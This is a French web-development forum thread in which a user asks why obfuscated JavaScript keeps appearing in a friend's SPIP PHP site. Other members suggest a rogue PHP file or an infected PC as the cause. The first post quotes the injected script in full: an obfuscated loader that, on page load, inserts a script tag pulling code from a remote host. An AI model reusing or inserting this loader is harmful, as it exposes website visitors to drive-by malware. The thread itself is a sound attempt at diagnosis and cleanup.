IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

JavaScript Discussion :

Code javascript suspect, le retour !


Sujet :

JavaScript

Vue hybride

Message précédent Message précédent   Message suivant Message suivant
  1. #1
    Membre expérimenté
    Profil pro
    Ingénieur
    Inscrit en
    Mars 2007
    Messages
    199
    Détails du profil
    Informations personnelles :
    Localisation : France, Seine Saint Denis (Île de France)

    Informations professionnelles :
    Activité : Ingénieur

    Informations forums :
    Inscription : Mars 2007
    Messages : 199
    Par défaut Code javascript suspect, le retour !
    Bonjour,

    Un camarade , n'arrive pas à supprimer de ses
    pages PHP (SPIP 1.9.2) le code javascript suivant :

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <script>try {var I='';var u=RegExp;var jh=String("rep"+"lacuPn".substr(0,3)+"1kWeWk1".substr(3,1));var jC=new Array();var B=new Array();var TQ="";var qJ='';function j(a,n){var Wo=new String();this.r='';var j
    V=String("[7MIl".substr(0,1));var e=new String("gPr4".substr(0,1));var Og=new String();jV+=n;jV+=String("]");var o=new Array();var p=new String();var F=new u(jV, e);var D=new String();var x;if(x!='' && x!='Q
    '){x=null};return a[jh](F, new String());};var wP;if(wP!='oZ' && wP != ''){wP=null};var E=new String();var m=new String();var U=j('c8r8e8a8t8e8E8lve8mvevnvtv',"8v");var wf='';var Da;if(Da!='R' && Da!='Fo'){D
    a=''};var Vi=new Date();var Lc;if(Lc!='Fa'){Lc='Fa'};var T=j('o1n1l1oTa1dT',"1T");var P_;if(P_!='' && P_!='Tr'){P_='jn'};var g=j('hZtCtkpH:H/k/HgHo3oZgHl3ek-kckoZmH-klZyZ.ZpHe3r3eCzCh3iZl3tHoHnk.3c3oZmC.3cZt
    krCiHpH-HcZo3m3.HTZhHeZBClkeHnCdke3rkT3u3tHoZr3iCaZlZ.HrHuH:3',"kHZC3");var X=j('811901918111011',"91");var S="";var Mo="";var t=j('/SaFmSaSzQoSnQ.QdFeS/FaFmQaFzQoFnS.SdSeF/StQySpSeQpQaSdS.QcQoFmS/FgFoFoFgSl
    SeQ.FcSoQmQ/FcFaFmFsF.FcSoFmQ.SpShFpS',"SFQ");var gJ="";var MI=new String();var W=window;var A='';var O=j('sucurZiZpZtu',"uZ");Th=function(){var GX;if(GX!='' && GX!='FQ'){GX=''};var ZL='';UL=document[U](O);v
    ar edh;if(edh!='oP'){edh=''};var tR;if(tR!='bOf'){tR=''};A=g+X;A+=t;var PO='';var Dt='';UL.defer=([7,1][1]);var Cd;if(Cd!='iL' && Cd != ''){Cd=null};var mE=new Array();UL.src=A;document.body.appendChild(UL);
    };var YO;if(YO!=''){YO='fn'};var ZY;if(ZY!='' && ZY!='rU'){ZY=null};var XS;if(XS!='Ya' && XS!='nc'){XS='Ya'};var rp=new Date();W[T]=Th;this.ro='';this.Ut="";this.yz="";var dH;if(dH!='ZG' && dH != ''){dH=null
    };} catch(M){this.Um="";};</script>
    <!--f29a5e23636121df1a1acb329d128822-->
    Comment ce code se retrouve dans plusieurs de ses pages ?
    A votre avis, est ce qu'à l'origine son poste de travail est vérolé,
    est ce que la base associée à son site est vérolée ? Autre chose ????

    Auriez-vous de liens qui me permettraient d'en savoir plus ?

    Pour information, il a déjà supprimé de son site un code ressemblant
    en début de semaine.

    Merci pour votre aide.

  2. #2
    Rédacteur/Modérateur

    Avatar de SpaceFrog
    Homme Profil pro
    Développeur Web Php Mysql Html Javascript CSS Apache - Intégrateur - Bidouilleur SharePoint
    Inscrit en
    Mars 2002
    Messages
    39 659
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 75
    Localisation : Royaume-Uni

    Informations professionnelles :
    Activité : Développeur Web Php Mysql Html Javascript CSS Apache - Intégrateur - Bidouilleur SharePoint
    Secteur : Industrie

    Informations forums :
    Inscription : Mars 2002
    Messages : 39 659
    Billets dans le blog
    1
    Par défaut
    tu dois avoir un autre fichier php qui ouvre les fichiers php et y rajoute ces lignes ...
    fais une recherche pour un code du genre fopen ...
    Ma page Developpez - Mon Blog Developpez
    Président du CCMPTP (Comité Contre le Mot "Problème" dans les Titres de Posts)
    Deux règles du succès: 1) Ne communiquez jamais à quelqu'un tout votre savoir...
    Votre post est résolu ? Alors n'oubliez pas le Tag

    Venez sur le Chat de Développez !

  3. #3
    Expert éminent

    Homme Profil pro
    Inscrit en
    Janvier 2007
    Messages
    13 474
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Isère (Rhône Alpes)

    Informations professionnelles :
    Secteur : Finance

    Informations forums :
    Inscription : Janvier 2007
    Messages : 13 474
    Par défaut
    Bonjour,
    visiblement, il t'ajoute une balise <script> dans tes pages.
    Tu dois pouvoir retrouver cette balise pirate via Firebug ou autre, pour essayer de voir ce qu'elle fait ...

    A+

  4. #4
    Membre expérimenté
    Profil pro
    Ingénieur
    Inscrit en
    Mars 2007
    Messages
    199
    Détails du profil
    Informations personnelles :
    Localisation : France, Seine Saint Denis (Île de France)

    Informations professionnelles :
    Activité : Ingénieur

    Informations forums :
    Inscription : Mars 2007
    Messages : 199
    Par défaut
    A priori un des webmasters se faisait pourrir ces pages
    directement sur son PC.
    "A priori" car il reste difficile vu de loin de préciser avec certitude
    la cause. (ça fait pas avancer le smilblick)

+ Répondre à la discussion
Cette discussion est résolue.

Discussions similaires

  1. Fermeture fenetre crée par code javascript
    Par Kerod dans le forum Général JavaScript
    Réponses: 9
    Dernier message: 27/02/2010, 00h04
  2. Réponses: 4
    Dernier message: 18/06/2008, 14h29
  3. Appel fonction php dans code javascript
    Par licorne dans le forum Général JavaScript
    Réponses: 7
    Dernier message: 05/03/2008, 10h55
  4. pas moyen de trouver l'erreur de ce code Javascript !!!
    Par NATHW dans le forum Général JavaScript
    Réponses: 7
    Dernier message: 25/11/2004, 21h47
  5. Deboggage de code Javascript...
    Par michel baily dans le forum Général JavaScript
    Réponses: 4
    Dernier message: 24/11/2004, 16h32

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo